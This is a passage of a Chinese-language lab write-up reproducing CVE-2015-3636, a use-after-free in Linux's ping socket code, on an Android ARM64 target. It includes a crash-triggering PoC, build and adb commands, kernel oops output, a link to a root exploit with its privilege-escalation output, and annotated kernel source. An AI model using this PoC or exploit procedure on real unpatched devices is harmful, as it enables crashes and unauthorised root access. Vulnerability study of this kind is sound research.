CVE-2015-3636复现(arm架构)

[toc]

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:pingpong root
  • 漏洞编号:cve-2015-3636
  • 漏洞类型:UAF漏洞
  • 漏洞影响:提权
  • CVSS评分:4.9(CVSS2.0)
  • 利用难度:Medium
  • 基础权限:需要(是否需要普通用户权限)

2. 组件概述

漏洞存在于 Linux 内核的网络子系统中的IPv4 ping 模块。

功能:处理icmp协议包

使用范围: 广泛应用于所有基于 Linux 内核的发行版,也是 Android 网络通信的基础。

3. 漏洞利用

核心在于释放后使用 (Use-After-Free)。

1
Linux 内核中 net/ipv4/ping.c 文件中的 ping_unhash 函数在 4.0.3 之前的版本中,在取消哈希操作时未初始化某个列表数据结构,允许本地用户通过利用能够对 IPPROTO_ICMP 或 IPPROTO_ICMPV6 协议的 SOCK_DGRAM 套接字进行系统调用,并在断开连接后进行连接系统调用,从而获得权限或导致服务拒绝(使用后释放和系统崩溃)。

4. 漏洞影响

主要影响 Linux 内核 3.0 至 4.0.1 版本。

5. 解决方案

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a134f083e79fb4c3d0a925691e732c56911b4326

1
2
diff:
+ sk_nulls_node_init(&sk->sk_nulls_node);

二、漏洞复现

1. 环境搭建

靶机下载:

1
http://down.52pojie.cn/Challenge/2016_Security_Challenge/android-problem-env.7z

靶机环境版本详述

1
2
cat /proc/version
Linux version 3.10.0+ (root@jiayy) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #63 SMP PREEMPT Wed Mar 23 11:27:47 CST 2016

靶机配置

靶机要准备一个普通用户权限,再通过漏洞提权到root权限。

1
2
3
4
5
6
7
# 当前用户权限
id
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0

# 是否可使用ping sockets,漏洞复现的关键
cat /proc/sys/net/ipv4/ping_group_range
0 2147483647

攻击机环境版本详述

1
2
3
# 攻击机版本无所谓
uname -a
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux

攻击机配置

1
# 无配置要求

2. 复现过程

1、测试poc(使用ndk-build生成)

1
2
3
4
5
6
7
8
9
10
11
# 下载poc
https://blingblingxuanxuan.github.io/2022/09/21/cve-2015-3636-52pojie-version/poc.zip
# 安装ndk编译器
sudo apt install google-android-ndk-r21e-installer
# 通常安装在/usr/lib/android-ndk下,在jni目录的上级目录执行
/usr/lib/android-ndk/ndk-build
# 编译完成的poc会在libs/arm64-v8a下,使用adb push到靶机中
adb push libs/arm64-v8a/poc /data/local/tmp/
# 给予poc可执行权限然后执行poc
cd /data/local/tmp
./poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// poc.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/in.h>

int main()
{
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

sa.sin_family = AF_UNSPEC;
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

return 0;

}

测试结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
Unable to handle kernel paging request at virtual address 00001360
pgd = ffffffc0336cf000
[00001360] *pgd=0000000000000000
Internal error: Oops: 94000045 [#1] PREEMPT SMP
CPU: 0 PID: 1187 Comm: poc Not tainted 3.10.0+ #63
task: ffffffc0335c6880 ti: ffffffc0336d4000 task.ti: ffffffc0336d4000
PC is at ping_unhash+0x30/0xa0
LR is at ping_unhash+0x28/0xa0
pc : [<ffffffc000409644>] lr : [<ffffffc00040963c>] pstate: 80000145
sp : ffffffc0336d7da0
x29: ffffffc0336d7da0 x28: ffffffc0336d4000
x27: ffffffc000607000 x26: 00000000000000cb
x25: 0000000000000116 x24: 0000000000000015
x23: 0000000080000000 x22: 00000072c0bf716c
x21: 0000007fdd8889c8 x20: ffffffc000679000
x19: ffffffc03d889200 x18: 0000000000000053
x17: 00000072c0b15c10 x16: ffffffc00035c750
x15: 00000072c0b163ea x14: 0000000000000000
x13: 0000000000000041 x12: 0000000000000041
x11: 00000072c0b16404 x10: 0000007fdd888b28
x9 : 4e873cb15bf53652 x8 : 00000000000000cb
x7 : 0000000000000140 x6 : 000000000001ce7f
x5 : 0000000000000000 x4 : ffffffc0003fe648
x3 : 0000000000000002 x2 : 0000000000000200
x1 : 0000000000001360 x0 : 0000000000000003

PC: 0xffffffc0004095c4:
95c4 f9000422 f9401681 b0001100 91150000 52800022 97fd5dee 17ffffc2 a9bf7bfd
95e4 f0000b80 b0000d61 b0000743 910003fd 9120e000 9125c021 52801262 912a0063
9604 94027981 f0000b80 9121a000 940278e8 a9be7bfd 910003fd a90153f3 f9401c01
9624 b4000381 90001394 aa0003f3 91026280 91080000 94028d43 f9401e61 f9401a60
9644 f9000020 360002c0 d2826c00 91011262 f9001e60 885ffc40 51000400 8801fc40
9664 35ffffa1 34000200 f9401661 b0001100 91150000 79001e7f 7904d27f 12800002
9684 97fd5dc3 91026280 91080000 94028d6d a94153f3 a8c27bfd d65f03c0 f9000401
96a4 17ffffea aa1303e0 97fd54f6 17ffffef a9be7bfd 910003e1 910003fd 9272c423

LR: 0xffffffc0004095bc:
95bc f9000002 37000041 f9000422 f9401681 b0001100 91150000 52800022 97fd5dee
95dc 17ffffc2 a9bf7bfd f0000b80 b0000d61 b0000743 910003fd 9120e000 9125c021
95fc 52801262 912a0063 94027981 f0000b80 9121a000 940278e8 a9be7bfd 910003fd
961c a90153f3 f9401c01 b4000381 90001394 aa0003f3 91026280 91080000 94028d43
963c f9401e61 f9401a60 f9000020 360002c0 d2826c00 91011262 f9001e60 885ffc40
965c 51000400 8801fc40 35ffffa1 34000200 f9401661 b0001100 91150000 79001e7f
967c 7904d27f 12800002 97fd5dc3 91026280 91080000 94028d6d a94153f3 a8c27bfd
969c d65f03c0 f9000401 17ffffea aa1303e0 97fd54f6 17ffffef a9be7bfd 910003e1

SP: 0xffffffc0336d7d20:
7d20 00679000 ffffffc0 dd8889c8 0000007f c0bf716c 00000072 80000000 00000000
7d40 00000015 00000000 00000116 00000000 000000cb 00000000 00607000 ffffffc0
7d60 336d4000 ffffffc0 336d7da0 ffffffc0 0040963c ffffffc0 336d7da0 ffffffc0
7d80 00409644 ffffffc0 80000145 00000000 3d889200 ffffffc0 004ac53c ffffffc0
7da0 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000
7dc0 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000
7de0 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0
7e00 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0

X4: 0xffffffc0003fe5c8:
e5c8 17ffffd3 52800060 b9000280 17ffffc7 128002a0 17ffffdf a9be7bfd 52800001
e5e8 910003fd f9000bf3 aa0003f3 97fd864b 79401e61 35000121 f9401662 aa1303e0
e608 f9405c42 d63f0040 35000140 79401e60 5ac00400 7904d260 aa1303e0 97fd8652
e628 52800000 f9400bf3 a8c27bfd d65f03c0 aa1303e0 97fd864c 12800140 17fffffa
e648 a9bd7bfd 7100045f 910003fd f9000bf3 f9401013 540003a9 79400020 34000260
e668 79401e60 34000100 f9401663 aa1303e0 f9400463 d63f0060 f9400bf3 a8c37bfd
e688 d65f03c0 aa1303e0 f90013a1 f90017a2 97ffffd2 f94017a2 f94013a1 34fffe60
e6a8 12800140 17fffff5 f9401662 aa1303e0 2a0303e1 f9400842 d63f0040 f9400bf3

X16: 0xffffffc00035c6d0:
c6d0 a8cd7bfd d65f03c0 97f79e9a 17fffff9 12800cc0 b90047a0 aa1503e0 97f79e95
c6f0 2a1603e0 97f804a2 b9404fa1 f9400e60 34fffe01 17fffff5 928002a0 17ffffee
c710 aa1403e0 b90047b6 97fffb8b 17ffffe6 2a1603e0 b90047b5 97f80495 aa1403e0
c730 97fffb85 17ffffe0 a9bf7bfd 52800003 910003fd 97ffff93 a8c17bfd d65f03c0
c750 a9b47bfd 910003fd a90153f3 f90013f5 aa0203f4 aa0103f5 9100f3a2 9100e3a1
c770 97fff473 aa0003f3 b4000200 aa1503e0 2a1403e1 910103a2 97fffadc b9003ba0
c790 37f800e0 aa1303e0 910103a1 2a1403e2 97fb9f08 b9003ba0 340001e0 b9403fa1
c7b0 f9400e60 350000c1 b9803ba0 a94153f3 f94013f5 a8cc7bfd d65f03c0 97f79e5d

X19: 0xffffffc03d889180:
9180 0000010b 00000000 000000d9 00000000 00000000 00000000 006126f0 ffffffc0
91a0 00000001 00000000 00010017 00010001 be870000 0000007e 0000008d 00000000
91c0 00000000 00000000 00000000 00000000 00000000 00000000 3e12e300 ffffffc0
91e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
9200 00000000 00000000 00000000 00000000 01070002 00000000 00000000 00000000
9220 00000000 00000000 00634388 ffffffc0 00000003 00000000 00001360 00000000
9240 ffffffff 00000001 00060006 00000000 00000000 00000000 3d889258 ffffffc0
9260 3d889258 ffffffc0 3d889268 ffffffc0 3d889268 ffffffc0 00000000 00000000

X20: 0xffffffc000678f80:
8f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
9000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
9020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
9040 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
9060 00000010 00000000 3dfecf80 ffffffc0 3dfec880 ffffffc0 3ec04540 ffffffc0

X27: 0xffffffc000606f80:
6f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7000 001861e4 ffffffc0 00186610 ffffffc0 00186ccc ffffffc0 00186ce4 ffffffc0
7020 00186e70 ffffffc0 00164fc0 ffffffc0 001650ac ffffffc0 00165198 ffffffc0
7040 00165244 ffffffc0 001652d8 ffffffc0 0016536c ffffffc0 001653dc ffffffc0
7060 00165468 ffffffc0 001654f4 ffffffc0 0016555c ffffffc0 00165618 ffffffc0

X28: 0xffffffc0336d3f80:
3f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4000 00000002 00000000 ffffffff ffffffff 335c6880 ffffffc0 00608d50 ffffffc0
4020 000a8204 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
4040 00000000 00000000 00000000 00000000 00000203 00000000 57ac6e9d 00000000
4060 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

X29: 0xffffffc0336d7d20:
7d20 00679000 ffffffc0 dd8889c8 0000007f c0bf716c 00000072 80000000 00000000
7d40 00000015 00000000 00000116 00000000 000000cb 00000000 00607000 ffffffc0
7d60 336d4000 ffffffc0 336d7da0 ffffffc0 0040963c ffffffc0 336d7da0 ffffffc0
7d80 00409644 ffffffc0 80000145 00000000 3d889200 ffffffc0 004ac53c ffffffc0
7da0 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000
7dc0 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000
7de0 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0
7e00 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0

Process poc (pid: 1187, stack limit = 0xffffffc0336d4058)
Stack: (0xffffffc0336d7da0 to 0xffffffc0336d8000)
7da0: 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000
7dc0: 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000
7de0: 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0
7e00: 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0
7e20: 00000010 00000000 dd8889c8 0000007f ffffffff ffffffff 335c6880 ffffffc0
7e40: 20000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7e60: 336d7e90 ffffffc0 00084ddc ffffffc0 336d4000 ffffffc0 335c6cc0 ffffffc0
7e80: 336d7e90 ffffffc0 00084de8 ffffffc0 336d7eb0 ffffffc0 00088100 ffffffc0
7ea0: 00000008 00000000 dd8889c8 0000007f dd8889a0 0000007f 000842ec ffffffc0
7ec0: 00000010 00000000 dd8889c8 0000007f 00000003 00000000 dd8889c8 0000007f
7ee0: 00000010 00000000 c0c58000 00000072 c0b15f38 00000072 00000000 00000000
7f00: 00000000 00000000 0000001b 00000000 000000cb 00000000 5bf53652 4e873cb1
7f20: dd888b28 0000007f c0b16404 00000072 00000041 00000000 00000041 00000000
7f40: 00000000 00000000 c0b163ea 00000072 c0b26f78 00000072 c0b15c10 00000072
7f60: 00000053 00000000 00000010 00000000 dd8889c8 0000007f 00000003 00000000
7f80: 89c53748 00000055 00000000 00000000 00000000 00000000 00000000 00000000
7fa0: 00000000 00000000 00000000 00000000 00000000 00000000 dd8889a0 0000007f
7fc0: c0b15fe4 00000072 dd888960 0000007f c0bf716c 00000072 80000000 00000000
7fe0: 00000003 00000000 000000cb 00000000 00000000 00000000 00000000 00000000
Call trace:
[<ffffffc000409644>] ping_unhash+0x30/0xa0
[<ffffffc0003f39e0>] udp_disconnect+0x98/0x10c
[<ffffffc0003fe6c0>] inet_dgram_connect+0x78/0x90
[<ffffffc00035c800>] SyS_connect+0xb0/0xc8
Code: 91080000 94028d43 f9401e61 f9401a60 (f9000020)
---[ end trace 6af4457addbd1d9d ]---
Kernel panic - not syncing: Fatal exception in interrupt

可以看到kernel panic,且栈帧显示漏洞点在ping_unhash,证明poc正确。

2、测试exp

1
2
3
# 下载exp
https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636
# 编译和执行同上,不再赘述

测试结果

可以看到用户权限由shell提升到了root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@generic_arm64:/data/local/tmp $ id              uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0

root@generic_arm64:/data/local/tmp $ ./exp WARNING: linker: ./exp: unused DT entry: type 0x6ffffef5 arg 0x3d8
WARNING: linker: ./exp: unused DT entry: type 0x6ffffffe arg 0x858
WARNING: linker: ./exp: unused DT entry: type 0x6fffffff arg 0x1
[*] physmap spray begin.
[*] physmap spray done.
[*] magic:0x4b624d71
[*] now we can R/W kernel address space like a boss.
[*] selinux disabled.
[*] magic:0x4b624d85
[*] task:0xffffffc00e644c00
[*] cred:0xffffffc012132900
[*] files:0xffffffc00e771400
[*] fdt:0xffffffc01dd8b6c0

root@generic_arm64:/data/local/tmp # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0

三、漏洞分析

1. 基本信息

  • 漏洞文件:net/ipv4/ping.c
  • 漏洞函数:ping_unhash
  • 漏洞对象:struct sock

2. 背景知识

(1)内核态等级划分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
权限等级的划分

x86架构
在 CPU 的设计中,并不是所有代码都被平等对待。为了防止普通程序(如你的 PoC)直接修改硬盘数据或关闭 CPU,硬件将权限划分为四个等级:
Ring 3 (用户态):这是权限最低的一级。你的 PoC 程序、浏览器、各种 APP 都运行在这里。它们不能直接访问硬件,只能乖乖听内核的话。
Ring 1 & 2:原本设计给操作系统驱动程序使用,但在现代操作系统(Windows, Linux)中基本被弃用了。
Ring 0 (内核态):这是权限最高的一级。Linux 内核及其驱动程序运行在这里。它拥有对内存、CPU 指令、I/O 设备的全部控制权。

ARM64 架构
术语改成了 EL (Exception Level):
EL0 (相当于 Ring 3):用户模式。
EL1 (相当于 Ring 0):内核模式(OS Kernel)。
EL2:虚拟化监控程序(Hypervisor)。
EL3:安全监视器(Secure Monitor/TrustZone)。

(2)宏定义转换内核调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//宏定义转换connect
SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr,
int, addrlen)

/***通过
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)

#define SYSCALL_DEFINEx(x, sname, ...) \
SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)

#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
#define __SYSCALL_DEFINEx(x, name, ...) \
asmlinkage long sys##name(__MAP(x,__SC_DECL,__VA_ARGS__)); \
static inline long SYSC##name(__MAP(x,__SC_DECL,__VA_ARGS__)); \
asmlinkage long SyS##name(__MAP(x,__SC_LONG,__VA_ARGS__)) \
{ \
long ret = SYSC##name(__MAP(x,__SC_CAST,__VA_ARGS__)); \
__MAP(x,__SC_TEST,__VA_ARGS__); \
__PROTECT(x, ret,__MAP(x,__SC_ARGS,__VA_ARGS__)); \
return ret; \
} \
SYSCALL_ALIAS(sys##name, SyS##name); \
static inline long SYSC##name(__MAP(x,__SC_DECL,__VA_ARGS__))

将sys_connect函数与SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr,
int, addrlen)链接,实际上sys_connect就是调用的该函数。
可以看到栈回溯中的栈帧为SyS_connect,其实就跟这段宏定义代码相关
***/

(3)linux rlimit资源限制

https://www.cnblogs.com/hustquan/archive/2012/04/01/2428128.html

(4)cred结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//linux-3.10-rc1\include\linux\cred.h
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

3. 详细分析

1. 基础分析

根据poc显示的错误信息:Unable to handle kernel paging request at virtual address 00001360

漏洞发生在内核态下对地址的错误访问

源码链接:https://github.com/torvalds/linux/tree/v3.10-rc1

2. 静态分析

1. 函数调用链

根据poc显示的call trace,可以发现调用链条如下

1
2
3
4
5
Call trace:
[<ffffffc000409644>] ping_unhash+0x30/0xa0
[<ffffffc0003f39e0>] udp_disconnect+0x98/0x10c
[<ffffffc0003fe6c0>] inet_dgram_connect+0x78/0x90
[<ffffffc00035c800>] SyS_connect+0xb0/0xc8
1
SyS_connect -> inet_dgram_connect -> udp_disconnect -> ping_unhash
2. 补丁Diff

分析:

增加了sk_nulls_node_init函数,作用就是显式地将pprev置为NULL,从而避免sk_hashed(sk)的错误判断。

1
2
3
4
static inline void sk_nulls_node_init(struct hlist_nulls_node *node)
{
node->pprev = NULL;
}
3. 漏洞函数分析

具体的漏洞函数功能、触发条件、源代码分析

1
2
3
4
5
6
7
8
9
10
//从用户态到内核态
//linux-3.10-rc1\include\uapi\asm-generic\unistd.h
...
#define __NR_connect 203
__SYSCALL(__NR_connect, sys_connect)
...
/***
用户态的connect()函数实际上触发了系统中断,通过内核调用号203调用了内核态的sys_connect()。
在源码中存在32bit和64bit版本的两个不同系统调用号,64bit版本为203
***/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//sys_connect声明
//linux-3.10-rc1\include\linux\syscalls.h
...
asmlinkage long sys_connect(int, struct sockaddr __user *, int);
...
/***
asmlinkage:一个特殊的宏。告诉编译器:该函数的参数不是通过 CPU 寄存器传递的,而是直接从内存栈中读取。这是 Linux 实现系统调用的标准方式,确保汇编代码(处理中断的部分)能和 C 代码(内核函数)正确对接。

long:内核系统调用的标准返回值类型。通常返回 0 表示成功,负数(如 -EACCES)表示错误码。

sys_connect:系统调用的内核命名规范。当你在用户态程序里调用 connect() 时,CPU 会触发一个软中断,然后跳转到内核里的这个 sys_connect 执行。

__user:这是一个极其重要的标记(用于静态分析工具 Sparse)。它提醒开发者:uservaddr 指针指向的是用户空间的地址。内核不能直接信任或解引用这个指针,必须先用 copy_from_user() 将数据拷贝到内核空间,否则会造成安全漏洞。
***/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//sys_connect实际上是该函数,通过宏定义转换而来
//linux-3.10-rc1\net\socket.c
/***
有三个参数,(int fd,struct sockaddr __user * uservaddr,int addrlen)
__user表示该参数要从用户空间拷贝到内核空间
***/
SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr,
int, addrlen)
{
struct socket *sock;
struct sockaddr_storage address;
int err, fput_needed;

// 通过文件描述符寻找对应的socket
sock = sockfd_lookup_light(fd, &err, &fput_needed);

if (!sock)
goto out;
// 将参数从用户空间拷贝到内核空间
err = move_addr_to_kernel(uservaddr, addrlen, &address);
if (err < 0)
goto out_put;

// 检查程序是否具有连接socket的权限
err =
security_socket_connect(sock, (struct sockaddr *)&address, addrlen);
if (err)
goto out_put;
// 跳转,分发给具体的协议
err = sock->ops->connect(sock, (struct sockaddr *)&address, addrlen,
sock->file->f_flags);
out_put:
fput_light(sock->file, fput_needed);
out:
return err;
}

/***socket支持的协议类型在linux-3.10-rc1\include\linux\socket.h中有声明Supported address families.
由于poc中是AF_INET,对应的代码在linux-3.10-rc1\net\ipv4\af_inet.c中。inetsw_array[]中可以找到
.type = SOCK_DGRAM,
.protocol = IPPROTO_ICMP,对应的ops中的connect函数为
inet_dgram_connect
***/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//inet_dgram_connect函数
//linux-3.10-rc1\net\ipv4\af_inet.c
int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr, int addr_len, int flags)
{
struct sock *sk = sock->sk;

// 长度是否合法
if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;

// 如果是AF_UNSPEC就执行disconnect函数
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags);

// 如果未绑定端口则自动绑定
if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;

// 默认连接
//在 Linux 内核 3.10 中,Ping 协议(ICMP)为了节省代码,直接复用了 UDP 的断开逻辑,所以disconnect是udp的。
return sk->sk_prot->connect(sk, uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);

/***
ping_prot就是sk_prot
struct proto ping_prot = {
.name = "PING",
.owner = THIS_MODULE,
.init = ping_init_sock,
.close = ping_close,
.connect = ip4_datagram_connect,
.disconnect = udp_disconnect,
...
}
***/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//linux-3.10-rc1\net\ipv4\datagram.c
//ping对应的connect
int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
// 地址转换
struct inet_sock *inet = inet_sk(sk);
struct sockaddr_in *usin = (struct sockaddr_in *) uaddr;
struct flowi4 *fl4;
struct rtable *rt;
__be32 saddr;
int oif;
int err;

// 判断长度和类型是否正确
if (addr_len < sizeof(*usin))
return -EINVAL;

if (usin->sin_family != AF_INET)
return -EAFNOSUPPORT;

// 清空路由缓存并加锁
sk_dst_reset(sk);

lock_sock(sk);

// 获取网卡和源地址,检查是否多播
oif = sk->sk_bound_dev_if;
saddr = inet->inet_saddr;
if (ipv4_is_multicast(usin->sin_addr.s_addr)) {
if (!oif)
oif = inet->mc_index;
if (!saddr)
saddr = inet->mc_addr;
}
// 路由查找逻辑
fl4 = &inet->cork.fl.u.ip4;
rt = ip_route_connect(fl4, usin->sin_addr.s_addr, saddr,
RT_CONN_FLAGS(sk), oif,
sk->sk_protocol,
inet->inet_sport, usin->sin_port, sk, true);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
if (err == -ENETUNREACH)
IP_INC_STATS_BH(sock_net(sk), IPSTATS_MIB_OUTNOROUTES);
goto out;
}

// 检查广播权限
if ((rt->rt_flags & RTCF_BROADCAST) && !sock_flag(sk, SOCK_BROADCAST)) {
ip_rt_put(rt);
err = -EACCES;
goto out;
}

// 更新源地址
if (!inet->inet_saddr)
inet->inet_saddr = fl4->saddr; /* Update source address */

// 更新socket的接收地址,调用了rehash函数
if (!inet->inet_rcv_saddr) {
inet->inet_rcv_saddr = fl4->saddr;
if (sk->sk_prot->rehash)
sk->sk_prot->rehash(sk);
}

// 更新状态为已连接,记录对应的ip
inet->inet_daddr = fl4->daddr;
inet->inet_dport = usin->sin_port;
sk->sk_state = TCP_ESTABLISHED;
inet->inet_id = jiffies;

// 缓存查询到的路由
sk_dst_set(sk, &rt->dst);
err = 0;
out:
release_sock(sk);
return err;
}

/***
由于ping的rehash为NULL,所以此处可能没有将socket写入链表中,而是在inet_dgram_connect的自动绑定端口中实现了入表。
inet_dgram_connect -> inet_autobind -> ping_v4_get_port -> hlist_nulls_add_head,在hlist_nulls_add_head中实现了入表,表为hlist_nulls。
***/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//linux-3.10-rc1\net\ipv4\udp.c
//disconnect对应的函数
int udp_disconnect(struct sock *sk, int flags)
{
struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/
// 修改状态为TCP_CLOSE,清空缓存等
sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
// 重置源地址
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);
// 没有检测是否重置过就执行了unhash函数
if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk);
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//linux-3.10-rc1\net\ipv4\ping.c
//unhash函数
static void ping_v4_unhash(struct sock *sk)
{
// 地址转换
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
// 通过判断pprev是否为NULL来执行
if (sk_hashed(sk)) {
// 加锁
write_lock_bh(&ping_table.lock);
// 删除节点,但是没有将pprev置为NULL,而是置为LIST_POISON2,在linux-3.10-rc1\include\linux\list_nulls.h中
hlist_nulls_del(&sk->sk_nulls_node);
// 负责回收内存的操作,通过原子操作检查引用数是否为0来决定是否要free,最终会进入 kmem_cache_free。
sock_put(sk);
